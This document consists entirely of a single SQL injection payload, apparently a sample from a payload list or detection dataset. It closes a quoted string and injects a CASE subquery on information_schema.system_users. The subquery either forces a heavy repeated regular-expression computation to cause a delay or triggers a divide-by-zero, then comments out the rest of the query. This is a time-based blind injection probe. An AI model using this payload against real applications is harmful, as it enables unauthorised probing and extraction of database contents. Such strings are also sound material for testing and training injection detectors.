oooooooooooooooooooooooooooaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1', ( select  ( case when  ( 8640 = 8640 )  then  ( ascii ( regexp_substring ( repeat ( right ( char ( 8640 ) ,0 ) ,500000000 ) ,null  )  )   )  else 8640/ ( select 0 from information_schema.system_users )  end )  from information_schema.system_users ) --